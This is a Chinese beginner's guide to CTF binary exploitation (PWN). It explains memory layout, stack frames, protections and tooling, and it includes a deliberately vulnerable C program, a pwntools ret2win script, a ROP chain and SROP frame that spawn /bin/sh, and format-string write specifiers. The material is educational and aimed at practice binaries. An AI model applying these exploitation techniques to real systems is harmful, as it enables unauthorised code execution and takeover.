hsadHsad
技术笔记

PWN 新手入门指南:从零到理解本质

写在前面:这份指南的目标是让你真正理解 PWN 是什么,而不是让你背诵一堆技术名词。当你读完这份文档,你应该能回答:我在学什么?为什么要学这些?学完能做什么?

适合谁读

  • 刚接触 CTF/PWN,知道这个方向的名字,但脑子里还没有清晰画面的人
  • 会一点 C、Linux 或 Python,但还没把“程序、进程、内存、调试、利用”串成一条线的人
  • 做过几道题,却经常停留在“照着 Exp 跑通了,但不知道自己到底做了什么”的人

这篇文章不解决什么

  • 它不会让你一口气学会堆利用、沙箱逃逸或真实世界复杂漏洞
  • 它更像一篇“地基文”,帮你把后续要学的东西放到正确的位置上

快速阅读版

如果你现在时间不多,先记住下面这 8 句话:

  1. PWN 的核心不是背 payload,而是理解程序为什么会失控。
  2. 你真正攻击的对象,通常不是磁盘上的程序文件,而是运行中的进程状态。
  3. 栈、堆、寄存器、返回地址,是入门阶段最重要的几个关键词。
  4. 栈溢出的关键,不是“输入很长”,而是“长到覆盖了不该被你碰到的位置”。
  5. buf[32] 不等于偏移一定是 32,偏移最好用证据定位。
  6. p64(addr) 的意义,不是拼字符串,而是把地址打包成程序真正接收的字节。
  7. 拿到题先看交互、文件类型、保护,再决定怎么下手。
  8. 新手卡住很正常,很多问题最后都不是高深技巧,而是基础环节没对齐。

阅读建议

  • 如果你是完全零基础:先读第 1 章、第 2 章、第 4.3 节、第 5.1 节、第 5.2 节、第 6 章、第 8.2 节。
  • 如果你已经做过几道基础题:重点读第 4 章、第 5 章、第 6 章,把零散概念串成完整流程。
  • 如果你只想查某个概念:直接利用右侧目录跳到对应章节即可,这篇文章不是必须从头线性读完。

第一章:PWN 的本质——你到底在学什么

1.1 一句话定义

PWN = 利用程序的漏洞,让程序执行它本不应该执行的操作。

最常见的目标是:获取 Shell(也就是获得命令行控制权,可以在目标机器上执行任意命令)。

1.2 为什么叫 “PWN”?

“PWN” 来自游戏圈的俚语 “own”(拥有/控制),表示完全控制了对方。在安全领域,PWN 一台机器意味着你获得了它的控制权。

1.3 PWN 的本质是什么?

让我用一个比喻来解释:

想象一个银行金库,有一套严格的安全流程:

  1. 验证身份
  2. 检查权限
  3. 打开特定的保险箱
  4. 取出/存入物品
  5. 关闭保险箱
  6. 记录日志

正常情况:员工按流程操作,一切井然有序。

PWN 做的事:找到流程中的漏洞,比如:

  • 发现身份验证可以被绕过(认证绕过)
  • 发现可以让系统”忘记”关闭保险箱(内存泄漏)
  • 发现可以修改”下一步操作”的指示牌,让员工走向金库总控室(控制流劫持)

在计算机中

  • 银行 = 程序
  • 安全流程 = 程序的执行流程
  • 保险箱 = 内存中的数据
  • 金库总控室 = 系统权限

1.4 PWN 的最终目标

层次 目标 你可以先怎么理解
Level 1 信息泄露 读取本来不该读到的数据,比如地址、密码、密钥
Level 2 拒绝服务 让程序崩溃或无法正常工作
Level 3 任意代码执行 让程序执行你指定的操作,通常这是 PWN 的核心目标
Level 4 权限提升 从普通权限进一步拿到更高权限,比如 root

在 CTF 比赛中,最常见的目标是:

  1. 获取 Shell,然后读取 flag 文件
  2. 或者直接利用漏洞读取 flag

1.5 新手最容易误解的两件事

很多纯新手第一次听到 PWN,最容易掉进两个误区:

  • 误区 1:PWN 就是敲几条神秘命令,然后程序自动爆炸
  • 误区 2:只要背会几套 payload 模板,就算会做 PWN

这两个理解都不准确。

更接近事实的说法是:

  • PWN 研究的是:程序为什么会在不该失控的地方失控
  • 漏洞利用做的是:把这种失控,变成你可以精确利用的控制

比如一个程序本来只是想把你的输入放进缓冲区,但它没有把边界看好,于是你就有机会继续往后写,最后改到返回地址、函数指针、堆管理结构或者关键状态字段。

所以 PWN 不是“背答案”,而是“理解程序在运行时哪一块被你碰歪了,以及碰歪之后会发生什么”。


第二章:计算机的真相——程序是如何运行的

为什么要学这些? 因为 PWN 的本质是”欺骗”计算机。要欺骗它,你必须先理解它是如何工作的。

2.1 程序和进程,不要混为一谈

很多新手刚开始会把“程序”和“进程”混着说,但对 PWN 来说,这两个词最好尽早分开。

  • 程序 (Program):躺在磁盘上的文件,比如 ./vuln
  • 进程 (Process):程序被操作系统真正加载并运行后,活在内存里的那一次实例

你可以把程序理解成“菜谱”,把进程理解成“厨房里真正正在做菜的那一次”。漏洞利用发生在运行时,所以 PWN 真正关心的是:

  • 这个进程当前的内存布局是什么
  • 它的寄存器现在是什么值
  • 它下一条将执行什么指令
  • 你的输入最终改到了哪里

换句话说,PWN 攻击的对象,通常不是磁盘上的静态文件,而是正在运行的进程状态。

2.2 程序的一生

源代码 (.c)
    │
    ▼ [编译器 gcc]
汇编代码 (.s)
    │
    ▼ [汇编器 as]
目标文件 (.o)
    │
    ▼ [链接器 ld]
可执行文件 (ELF)
    │
    ▼ [操作系统加载器]
内存中运行的进程

你需要理解

  • 你写的 C 代码最终变成了什么?(机器指令)
  • 程序是如何被加载到内存的?(ELF 格式)
  • 程序运行时内存长什么样?(进程内存布局)

2.3 为什么 PWN 里到处都是十六进制

新手第一次看 PWN 资料时,经常会被一堆 0x4011760xdeadbeef0x7fffffffe2b0 吓到,感觉像在看天书。

其实它们本质上都只是数字,只不过用十六进制来写。

为什么大家不用十进制?

  • 一个十六进制位刚好对应 4 个二进制位
  • 两个十六进制位刚好对应 1 个字节
  • 地址、寄存器值、机器码、内存内容都和“按位/按字节”天然相关

所以对二进制世界来说,十六进制其实是“最适合人类阅读的底层表示法”。

2.4 字节、位、64 位和小端序

你至少要先把这几个概念分清:

  • bit(位):只有 01
  • byte(字节):8 个 bit 组成 1 个 byte
  • 64 位程序:很多核心数据宽度按 64 位处理,也就是 8 字节

这和 PWN 的关系非常直接,因为你后面经常会处理:

  • 8 字节地址
  • 8 字节返回地址
  • 把一个整数按指定字节序打包进 payload

另一个必须尽早建立直觉的概念是:小端序 (Little Endian)

假设一个 8 字节整数是:

0x1122334455667788

它作为“数”写出来时,是从高位到低位展示;但在常见的 x86-64 小端序内存里,它会按下面的顺序落到内存中:

88 77 66 55 44 33 22 11

你可以把它理解成两件事:

  • 显示给人看的顺序,和
  • 按字节摆进内存的顺序

不是同一回事。

这也是为什么你后面会看到 p64(0x401176) 这样的写法。它不是把字符串 "0x401176" 塞进程序,而是把这个整数按 8 字节、小端序,真正打包成程序能吃的原始字节。

2.5 标准输入、标准输出,和你手里的 payload 是什么关系

很多新手知道“程序会读输入”,但不太知道自己在终端里敲的东西,和程序内部看到的到底是什么关系。

一个最粗略但非常实用的理解是:

  • stdin(标准输入):程序读输入的入口
  • stdout(标准输出):程序正常打印输出的出口
  • stderr(标准错误):程序报错信息常走这里

你在终端里输入一串字符,本质上通常就是把数据送进程序的 stdin。而当你写 pwntools 脚本时,你其实是在自动完成这件事:

  • 读程序输出
  • 等待提示词
  • 发送原始字节或一行文本

这里有个很常见的坑:你眼睛看到几个字符,不一定等于程序实际收到了几个字节。

比如你手动输入 abc 再按回车,很多时候程序实际拿到的是:

a b c \n

也就是 4 个字节,其中回车对应的换行符 \n 也可能算在长度里。

2.6 进程内存布局——PWN 的战场

当一个程序运行时,操作系统会给它分配一块内存空间:

从低地址到高地址,常见区域可以先粗略理解成这样:

区域 作用 PWN 里为什么重要
Text 程序代码段,通常只读 里面放着现成函数和 gadget
Data / BSS 全局变量、静态变量 有时会放关键状态或指针
Heap 动态申请的内存 堆题的主战场
Stack 局部变量、函数调用现场 栈溢出最常发生在这里
Kernel Space 内核空间 用户态程序通常不能直接访问

补一个很重要的方向感:

  • 通常向低地址方向增长
  • 通常向高地址方向增长

关键概念

  • 栈 (Stack):后进先出,存放局部变量和函数调用信息
  • 堆 (Heap):动态内存,malloc/free 管理
  • 这两个区域是 PWN 的主战场

2.7 函数调用的秘密——栈帧

这是 PWN 最核心的知识点之一,请务必理解透彻。

当你调用一个函数时,栈上会发生什么?

void func(int a, int b) {
    int x = 1;
    int y = 2;
}

int main() {
    func(10, 20);
    return 0;
}

调用 func 时,你可以先把栈帧想成下面这组关键内容:

位置关系 常见内容 为什么重要
更靠近当前函数内部 局部变量、缓冲区 你的输入经常先写到这里
往上一层 保存的 rbp 栈帧基准信息
再往上一层 返回地址 ret 时 CPU 会跳去这里
更外层 调用者的栈帧 也就是上一个函数的现场

核心问题

  • 返回地址告诉 CPU “函数执行完后,下一条指令在哪里”
  • 如果我们能修改返回地址,函数返回时就会跳到我们指定的地方!
  • 这就是栈溢出攻击的本质

2.8 寄存器——CPU 的工作台

CPU 不直接操作内存,而是通过寄存器这个高速”工作台”。

x86-64 常用寄存器

寄存器 用途 PWN 中的意义
RIP 指令指针,指向下一条要执行的指令 控制 RIP = 控制程序流程
RSP 栈指针,指向栈顶 栈操作的基准
RBP 基址指针,指向当前栈帧的底部 定位局部变量
RAX 返回值 / 系统调用号 函数返回值、syscall 编号
RDI 第 1 个参数 函数/syscall 的第 1 个参数
RSI 第 2 个参数 函数/syscall 的第 2 个参数
RDX 第 3 个参数 函数/syscall 的第 3 个参数

最重要的一句话

PWN 的核心目标之一就是控制 RIP(指令指针),让程序跳转到我们想要的地方。

2.9 系统调用——与操作系统对话

用户程序不能直接操作硬件,必须通过系统调用 (syscall) 请求操作系统帮忙。

用户程序                    内核
   │                         │
   │  syscall (rax=59,       │
   │   rdi="/bin/sh",        │
   │   rsi=0, rdx=0)         │
   │ ───────────────────────>│
   │                         │  执行 execve("/bin/sh", 0, 0)
   │                         │
   │     返回 Shell          │
   │ <───────────────────────│

关键系统调用

  • read (0):读取输入。PWN 里经常就是它把你的 payload 读进程序。
  • write (1):输出数据。很多信息泄露都会和它有关。
  • execve (59):执行程序。最经典的目标之一就是让程序执行 execve("/bin/sh", NULL, NULL)
  • mprotect (10):修改内存权限。有些场景里会用它把原本不可执行的区域改成可执行。

获取 Shell 的本质

让程序执行 execve("/bin/sh", NULL, NULL)

第三章:漏洞的本质——为什么程序会被攻击

3.1 漏洞从何而来?

漏洞的根源,通常可以先归成四类:

  1. 程序员的错误
    忘记检查边界、类型转换失误、逻辑写错。
  2. 语言本身的特性
    比如 C/C++ 允许你直接操作内存,也默认不帮你做很多边界检查。
  3. 代码复杂度
    代码越大、状态越多、分支越复杂,越容易埋下 bug。
  4. 信任边界出了问题
    程序把“不该完全相信的输入”当成了可信数据。

3.2 漏洞的分类

大类 常见例子 说明
内存破坏类 栈溢出、堆溢出、格式化字符串、UAF、越界读写、整数溢出 PWN 最常见的主战场
逻辑漏洞 条件竞争、权限检查不当 不一定靠内存破坏,也能造成严重后果
其他 信息泄露、拒绝服务 有时本身就是目标,有时是后续利用的前置条件

3.3 漏洞利用的通用模型

无论什么漏洞,利用的本质都是:

输入恶意数据 -> 触发漏洞 -> 改变程序状态 -> 达成目标
payload       bug        corruption    shell / leak / control

具体到栈溢出

输入超长字符串 ──> 覆盖返回地址 ──> 函数返回时跳转到恶意代码 ──> 获取 Shell

第四章:学习路线图——你的升级打怪之路

4.1 完整路线图

阶段 周期 重点内容
基础阶段 1-3 个月 C 语言、Linux 基础、汇编、GDB、栈溢出
进阶阶段 3-6 个月 ROP、格式化字符串、堆利用基础、保护机制绕过、ret2libc
高级阶段 6 个月以上 内核 PWN、浏览器 PWN、真实漏洞分析、漏洞挖掘

4.2 基础阶段详解(1-3个月)

目标:能够独立完成简单的栈溢出题目

4.2.1 C 语言(1-2 周)

你需要掌握:

  • 指针的概念和使用
  • 数组与内存的关系
  • 结构体
  • 常见的危险函数:gets, strcpy, sprintf, scanf

为什么重要:大部分 PWN 题目的目标程序是 C 写的,你需要能看懂代码。

4.2.2 Linux 基础(1 周)

你需要掌握:

  • 基本命令:ls, cd, cat, chmod, file
  • 文件权限概念
  • 进程概念
  • 管道和重定向

为什么重要:PWN 的目标通常是获取 Linux Shell。

如果你平时主要使用 Windows,那么非常建议直接用 WSL2 + Ubuntu 来做入门实验。原因很现实:

  • 大多数入门题目标都是 Linux ELF
  • gccgdbreadelfobjdumppwntoolschecksec 这一套在 Linux 环境里最顺手
  • 你越早把实验环境放到接近真实题目的地方,后面越少被“工具不对、路径不对、格式不对”这些问题反复绊住

4.2.3 汇编语言(2-3 周)

你需要掌握:

  • 常见指令:mov, push, pop, call, ret, lea, cmp, jmp
  • 函数调用约定
  • 能读懂简单的汇编代码

为什么重要:程序最终以汇编/机器码运行,你需要理解程序真正在做什么。

推荐学习方式

不要背指令。更好的方式是边调试边认:看到 mov rax, rbx,就去 GDB 里看它到底让哪些寄存器变了。

4.2.4 GDB 调试(1 周)

你需要掌握:

# 基本命令
r (run)           # 运行程序
b *地址 (break)   # 设置断点
c (continue)      # 继续执行
si (stepi)        # 单步执行(进入函数)
ni (nexti)        # 单步执行(跳过函数)
x/格式 地址       # 查看内存
p 表达式          # 打印值
info registers    # 查看寄存器
bt (backtrace)    # 查看调用栈

为什么重要:调试是 PWN 的核心技能,你需要观察程序的实际行为。

4.2.5 栈溢出基础(2-3 周)

学习路径

  1. 理解栈的结构,能画出函数调用时的栈布局。
  2. 手动触发崩溃,观察程序为什么会崩。
  3. 精确计算偏移,确认自己什么时候碰到了返回地址。
  4. 做 ret2text,先学会跳转到程序里已有的函数。
  5. 在没有 NX 的环境里,再去理解 ret2shellcode 这类更直接的执行方式。

4.3 如果你是零基础,可以先按 7 天打通第一条链

如果你不是“已经有系统基础、准备系统刷题”的读者,而是真正意义上的零基础,那么比起一上来追求做很多题,更推荐你先用一周时间把第一条闭环跑通。

一个很实用的 7 天启动计划可以是这样:

天数 目标
第 1 天 搭好实验环境,分清自己是在什么终端里,能稳定完成“写 C 程序 -> 编译 -> 运行”
第 2 天 建立程序、进程、地址、字节、十六进制、小端序、栈和堆的基本直觉
第 3 天 第一次真正用 GDB 看寄存器、栈和反汇编,敢于停下来观察现场
第 4 天 filestringschecksecobjdumpgdbpwntools 串成一条工作流
第 5 天 做出第一个 ret2win,真正把“偏移 -> 地址 -> payload -> 劫持返回”跑通
第 6 天 认识 NX、Canary、PIE、RELRO、ASLR,明白为什么昨天那招今天不灵了
第 7 天 把前面的知识整理成“拿到题后第一轮应该先做什么”的最小流程

这 7 天的目标不是“学会所有技术”,而是把最关键的第一条链打通。因为从“完全没有抓手”到“能把一个最小利用闭环跑通”,通常是新手最难跨过去的一段。

4.4 进阶阶段详解(3-6个月)

目标:能够绕过常见保护机制,完成中等难度题目

4.4.1 保护机制

  • Canary(Stack Canary)
    作用:检测栈溢出。
    第一反应:如果没有泄露到 canary,很多最直接的覆盖返回地址思路会先被它拦住。
  • NX(No-Execute)
    作用:让栈等数据区域不可执行。
    第一反应:不能再默认“把 shellcode 塞到栈里然后直接跳过去跑”,通常要转向 ROP。
  • PIE(Position Independent Executable)
    作用:让程序本体地址随机化。
    第一反应:函数地址往往不能直接写死,通常要先泄露地址再算基址。
  • ASLR(Address Space Layout Randomization)
    作用:让栈、堆、库等内存区域每次运行时位置变化。
    第一反应:同一次调试里看到的地址,不一定能下一次照抄。
  • RELRO(Relocation Read-Only)
    作用:限制 GOT 等重定位相关区域的修改。
    第一反应:如果是 Full RELRO,很多“改 GOT”的常见思路就会受限,需要换攻击面。

4.4.2 ROP 技术(Return Oriented Programming)

核心思想:既然不能执行自己的代码(NX),就利用程序中已有的代码片段(gadget)。

传统攻击:
  返回地址 ──> 你的 shellcode

ROP 攻击:
  返回地址 ──> gadget1 ──> gadget2 ──> gadget3 ──> ... ──> 目标函数
                │           │           │
             pop rdi      pop rsi     syscall

学习路径

  1. ret2text:最简单,先跳到程序自身已有函数。
  2. ret2syscall:学会用 gadget 拼系统调用。
  3. ret2libc:开始复用 libc 里的函数和字符串。
  4. ret2csu:利用 __libc_csu_init 一类现成片段控制参数。
  5. SROP:进一步理解如何一次性控制更多寄存器。

4.4.3 格式化字符串漏洞

漏洞代码

printf(user_input);  // 危险!
// 应该是 printf("%s", user_input);

能做什么

  • 读取栈上的数据:%x, %p, %s
  • 读取任意地址:%n$s (n 是偏移)
  • 写入任意地址:%n

4.4.4 堆利用基础

堆的特点

  • 动态分配(malloc/free)
  • 复杂的管理结构(chunk、bins)
  • 更多的攻击面

学习路径

  1. 先理解 glibc malloc 的基本结构和 chunk 概念。
  2. fastbin attack
  3. unsorted bin attack
  4. tcache attack
  5. 再进入 house of 系列等更系统的堆利用思路。

4.5 高级阶段(6个月+)

  • 内核 PWN:攻击操作系统内核
  • 浏览器 PWN:攻击 Chrome/Firefox 等
  • 真实漏洞分析:CVE 复现
  • 漏洞挖掘:自己发现新漏洞

第五章:核心知识点详解

5.1 栈溢出——PWN 的入门之道

为什么会发生栈溢出?

void vulnerable() {
    char buffer[64];   // 只分配了 64 字节
    gets(buffer);      // 但 gets 不检查长度,可以无限读取
}

利用原理

正常时,你可以把它想成:

  • buffer 里装的是你的输入
  • saved rbp 还保持正常
  • 返回地址还是原来的值,比如 0x401234

溢出后,情况会变成:

  • 你的输入先填满 buffer
  • 再继续覆盖到 saved rbp
  • 最后继续往上,改到返回地址

也就是说,像 b"A" * 72 + p64(0xdeadbeef) 这样的输入,最终可能把返回地址改成你指定的目标地址。

偏移计算方法

方法 1:手动计算

偏移 = buffer大小 + saved_rbp大小
     = 64 + 8 = 72 字节

方法 2:使用 pattern(推荐)

# 生成特征字符串
$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

# 找到崩溃时 RIP 的值,计算偏移
$ cyclic -l 0x6161616c
72

5.2 第一个 ret2win:把原理真正跑成闭环

很多人第一次真正“懂了栈溢出”,不是在看到定义的那一刻,而是在第一次亲手让程序不按正常流程返回、而是跳进 win() 的那一刻。

一个经典教学程序通常长这样:

#include <stdio.h>
#include <unistd.h>

void win() {
    puts("you win");
}

void vuln() {
    char buf[32];
    puts("input:");
    read(0, buf, 200);
}

int main() {
    vuln();
    return 0;
}

为了让最基础的原理更容易看清,教学时常把它编译成这样:

gcc -g -fno-stack-protector -no-pie vuln.c -o vuln

这几个选项的意义分别是:

  • -g:带上调试信息,方便 GDB 把源码和机器指令对起来
  • -fno-stack-protector:关闭 canary,让你先看清最直接的覆盖返回地址
  • -no-pie:关闭 PIE,让程序代码地址固定,方便做第一个 ret2win

完整思路通常是下面这几步:

  1. 先把程序跑起来,确认它怎么交互
./vuln

看它是一次性输入,还是菜单题,还是多轮交互。别一上来就写 Exp。

  1. 先看二进制是什么、开了什么保护
file ./vuln
checksec ./vuln

如果你的环境里没有单独的 checksec,也常见写成:

pwn checksec ./vuln
  1. 找到目标函数地址
nm ./vuln | grep " win$"
objdump -d ./vuln | grep "<win>"

如果没有开 PIE,那么这里看到的 win 地址通常是固定的。

  1. 不要猜偏移,用 cyclic 定位
cyclic 200 > pattern.txt
gdb ./vuln

在 GDB 里运行:

run < pattern.txt
info registers
x/20gx $rsp

如果你在崩溃现场的寄存器或栈上看到了模式串污染出来的值,再反查偏移:

cyclic -l 0x6161616c

这里有个非常重要的认知:buf[32] 不代表偏移一定就是 32。

因为从缓冲区到真正的返回地址之间,往往还隔着保存的 rbp 等内容。所以你最好把“找偏移”当成一个需要证据的步骤,而不是靠肉眼猜。

  1. 构造 payload

假设你最后确认:

  • 偏移是 40
  • win 地址是 0x401176

那么 payload 的逻辑就是:

payload = b"A" * 40 + p64(0x401176)

这句里最容易被新手忽略的一点是:p64 不是在拼字符串 "0x401176",而是在把这个整数按 64 位、小端序 打包成 8 个原始字节。这正是“你看懂了地址”和“你真的能把地址塞进程序”之间的差别。

一个最小的 pwntools 脚本可以写成:

from pwn import *

context.log_level = "debug"

io = process("./vuln")

offset = 40
win_addr = 0x401176
payload = b"A" * offset + p64(win_addr)

io.recvuntil(b"input:\n")
io.send(payload)
io.interactive()

如果程序是菜单题,或者它需要你按回车提交,那么你更常见到的是:

io.sendlineafter(b"> ", b"1")

它的意思是:等程序输出提示词以后,再发一整行输入。

为什么明明“跳到了目标地址”,却还是没有结果?

这时优先排查下面几件事:

  • 偏移算错了,根本没真正覆盖到返回地址
  • 地址写错了,或者程序开了 PIE,地址并不是固定的
  • 程序还在等换行、等菜单、等第二次输入
  • 你拼的是文本字符串,不是原始字节
  • 栈对齐出了问题,导致目标调用没有像你想的那样正常执行

对新手来说,最实用的排错方式不是一上来怀疑高阶技巧,而是先确认三件事:偏移对不对、地址对不对、程序到底有没有收到你以为它收到了的输入。

5.3 ROP 技术——绕过 NX 的艺术

什么是 Gadget?

Gadget 是以 ret 结尾的短代码片段:

; gadget 1: pop rdi; ret
pop rdi
ret

; gadget 2: pop rsi; ret  
pop rsi
ret

ROP Chain 构造

目标:执行 system("/bin/sh")

# 栈布局
payload = b'A' * offset        # 填充
payload += p64(pop_rdi_ret)    # gadget: pop rdi; ret
payload += p64(binsh_addr)     # "/bin/sh" 的地址,会被 pop 到 rdi
payload += p64(system_addr)    # system 函数地址

执行流程

1. 函数返回,RIP = pop_rdi_ret
2. 执行 pop rdi,rdi = binsh_addr
3. 执行 ret,RIP = system_addr  
4. 执行 system(rdi),即 system("/bin/sh")
5. 获得 Shell!

5.4 格式化字符串——读写任意内存

基本原理

printf 的参数通过栈/寄存器传递:

printf("%d %d %d", a, b, c);
// a, b, c 依次在 rsi, rdx, rcx (x64)

如果只写 printf(user_input),printf 会从栈上读取”参数”:

printf("%p %p %p");  // 会打印栈上的值

利用技巧

泄露栈数据

%p              → 打印一个栈上的值
%n$p            → 打印第 n 个"参数"
%s              → 把栈上的值当地址,打印该地址的字符串

写入数据

%n              → 把已打印字符数写入地址
%hn             → 写入 2 字节
%hhn            → 写入 1 字节

5.5 SROP——Sigreturn Oriented Programming

原理

Linux 信号处理机制:

  1. 信号到来时,内核将所有寄存器保存到用户栈(Signal Frame)
  2. 执行信号处理函数
  3. 调用 sigreturn 系统调用,从栈上恢复寄存器

攻击思路:伪造 Signal Frame,调用 sigreturn,控制所有寄存器!

frame = SigreturnFrame()
frame.rax = 59          # execve
frame.rdi = binsh_addr  # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

5.6 堆利用基础概念

Chunk 结构

┌─────────────────┐
│    prev_size    │  ← 前一个 chunk 的大小(如果前一个是 free 的)
├─────────────────┤
│      size       │  ← 当前 chunk 大小 + 标志位
├─────────────────┤
│                 │
│    user data    │  ← malloc 返回的指针指向这里
│                 │
└─────────────────┘

常见攻击手法

攻击 原理 效果
Fastbin Attack 修改 fastbin 的 fd 指针 分配到任意地址
Unsorted Bin Attack 利用 unsorted bin 的解链操作 向目标地址写入大数
Tcache Poisoning 修改 tcache 的 next 指针 分配到任意地址

第六章:工具链——你的武器库

6.1 拿到二进制后的第一轮工作流

很多新手一拿到题就急着写 Exp,但更稳的方式通常是先走完下面这轮“信息收集”:

  1. 先运行程序
    看它是一次性输入、菜单题,还是多轮交互。
  2. file 看类型
    确认是不是 ELF、多少位、是不是小端。
  3. checksec 看保护
    先知道 Canary、NX、PIE、RELRO 在不在。
  4. strings 粗扫可见信息
    菜单、提示词、可疑字符串、路径、函数名都有可能先露出来。
  5. nmobjdumpreadelf 看符号和反汇编
    找函数、找地址、找 GOT/PLT、找调用关系。
  6. 再决定去 GDB、IDA、Ghidra,还是直接看源码

这套顺序看上去很朴素,但它能帮你避免一种特别常见的低效:还没弄清输入输出和保护,就开始硬猜 payload。

6.2 必备工具

工具 用途 重要程度
pwntools Python 漏洞利用框架 ⭐⭐⭐⭐⭐
GDB + pwndbg/peda 调试 ⭐⭐⭐⭐⭐
IDA Pro / Ghidra 反汇编、反编译 ⭐⭐⭐⭐⭐
checksec 检查保护机制 ⭐⭐⭐⭐
ROPgadget / ropper 寻找 gadget ⭐⭐⭐⭐
one_gadget 寻找 libc 中的 one gadget ⭐⭐⭐
LibcSearcher 根据泄露信息查找 libc 版本 ⭐⭐⭐

6.3 pwntools 快速入门

from pwn import *

# 设置架构
context(arch='amd64', os='linux')

# 连接目标
io = process('./vuln')        # 本地
io = remote('ip', port)       # 远程

# 接收和发送
io.recv()                     # 接收数据
io.recvuntil(b'>')            # 接收直到某字符串
io.send(b'data')              # 发送数据
io.sendline(b'data')          # 发送数据 + 换行

# 打包数据
p64(0xdeadbeef)               # 64位小端打包
p32(0xdeadbeef)               # 32位小端打包
u64(b'\xef\xbe\xad\xde')      # 解包

# 获取 Shell
io.interactive()

如果你刚开始做本地题,可以先用一个非常线性的模板:

from pwn import *

context.binary = "./vuln"
context.log_level = "debug"

io = process("./vuln")

# 先把观察到的关键信息写在这里
offset = 40
win_addr = 0x401176

payload = b"A" * offset + p64(win_addr)
io.send(payload)
io.interactive()

这类模板的价值,不在于“高级”,而在于你一眼能看懂每一步在做什么,出了问题也更容易定位。

6.4 GDB + pwndbg 常用命令

# 启动
gdb ./binary
gdb -p PID                    # 附加到进程

# pwndbg 特有命令
vmmap                         # 查看内存映射
heap                          # 查看堆状态
bins                          # 查看 bins
canary                        # 显示 canary 值
telescope 地址               # 智能显示内存
cyclic 100                    # 生成特征字符串
cyclic -l 0x61616166          # 计算偏移

很多新手会被 x/20gx $rsp 这种命令吓到,其实它完全可以拆成普通话:

  • x:examine,查看内存
  • 20:看 20 个单位
  • g:按 8 字节一组看
  • x:按十六进制显示
  • $rsp:从当前栈顶指针指向的位置开始看

学 GDB 时很重要的一步,就是把这些“看上去很黑客”的命令,重新拆回你自己能听懂的人话。

程序停下来以后,优先看三件事:

  • RIP 在哪里,程序现在停在什么位置
  • RSP 附近长什么样,栈有没有被你的输入污染
  • 接下来马上会执行什么指令

你越早养成“停住后先看现场”的习惯,后面排错就越稳。


第七章:从 CTF 到真实世界

7.1 CTF PWN vs 真实漏洞

方面 CTF 真实世界
目标 获取 flag 获取权限/数据
程序 简化的小程序 复杂的大型软件
漏洞 明显且单一 隐蔽且可能需要组合
时间 几小时到几天 可能几周到几月
环境 已知且固定 需要信息收集

7.2 学习 CTF PWN 的意义

  1. 建立基础知识体系
    你会真正理解程序运行原理、漏洞成因和利用链条。
  2. 锻炼逆向思维
    你会更习惯从攻击者视角去问“哪里能被错误控制”。
  3. 提升调试能力
    GDB、pwntools、反汇编工具都会在实践里越来越熟。
  4. 为后续方向铺路
    无论是漏洞研究、安全开发还是真实环境分析,这套基础都很有价值。

7.3 进阶方向

  • 漏洞研究:分析 CVE、复现公开漏洞、尝试挖新洞。
  • 安全开发:把你从攻击面学到的经验,反过来用在安全编码和审计上。
  • 红队 / 渗透测试:在授权环境中做更贴近实战的攻击链分析。
  • 安全产品开发:做检测、防护、监控、分析类工具。

第八章:心态与方法论

8.1 新手常见误区

  • 误区 1:追求做题数量,不求理解
    更好的做法是:一道题彻底理解,通常比十道题囫囵吞枣更有价值。
  • 误区 2:只看 WriteUp,不动手
    WriteUp 是参考,不是替代。你最好亲手调试、亲手复现。
  • 误区 3:遇到困难就放弃
    卡住是学习过程的一部分,不是你不适合学这个方向。
  • 误区 4:急于求成,跳过基础
    基础不牢,后面学到的技巧通常也会很快散掉。

8.2 纯新手最容易卡住的地方

很多“题打不通”的问题,最后并不是高深技巧不会,而是前面这些基础点没对齐:

  • 没分清自己现在是在 PowerShell、macOS 终端,还是 Ubuntu/WSL 里
  • 站错目录,导致 ./vulngdb ./vulnpython3 exp.py 全部报找不到文件
  • 把地址当普通文本拼,而不是按二进制字节拼进 payload
  • 忘了小端序
  • 看见 buf[32] 就武断认为偏移一定是 32
  • 程序明明是交互式的,却还在用最粗暴的一次性输入
  • 完全没看保护,就开始抄 payload
  • GDB 只会 run,不会看寄存器和栈

如果你以后遇到“怎么就是打不通”,特别建议先按这张表自查一遍。

还有一个很重要的能力是:把现象翻译成人话。

现象 先想到什么
Segmentation fault 程序访问了不该访问的内存,崩了
栈上看到一大片 0x41414141... 你的输入 A 已经灌进了关键位置
改了返回地址后没到目标函数 先查偏移、地址、保护、输入方式
地址每次都变 很可能有 PIE / ASLR 在起作用

你能把现象翻译回普通话,下一步就更容易判断。

8.3 高效学习方法

你可以把 PWN 的学习过程理解成一个循环:

学习理论 -> 做题实践 -> 总结记录 -> 再回到学习理论

具体建议

  1. 每道题都要调试

    • 不要只运行 exp,要用 GDB 单步跟踪
    • 理解每一步发生了什么
  2. 记录学习笔记

    • 总结漏洞原理
    • 记录踩过的坑
    • 建立自己的 exp 模板库
  3. 循序渐进

    • 先做简单题,建立信心
    • 逐步增加难度
    • 不要一开始就挑战高难度
  4. 善用社区

    • CTF Wiki、看雪论坛、CTF Time
    • 不懂就问,但先自己思考

8.4 推荐资源

入门书籍/文档

练习平台

  • pwnable.kr
  • pwnable.tw
  • BUUCTF
  • 攻防世界

社区

  • CTF Time
  • 看雪论坛
  • 各大战队博客

结语

PWN 的学习是一个漫长但有趣的过程。当你第一次成功获取 Shell 时,那种成就感是无与伦比的。

记住:

理解原理比记忆技巧更重要。
每一次失败都是向成功迈进的一步。
保持好奇心,享受这个过程。

祝你在 PWN 的世界里玩得开心!🚀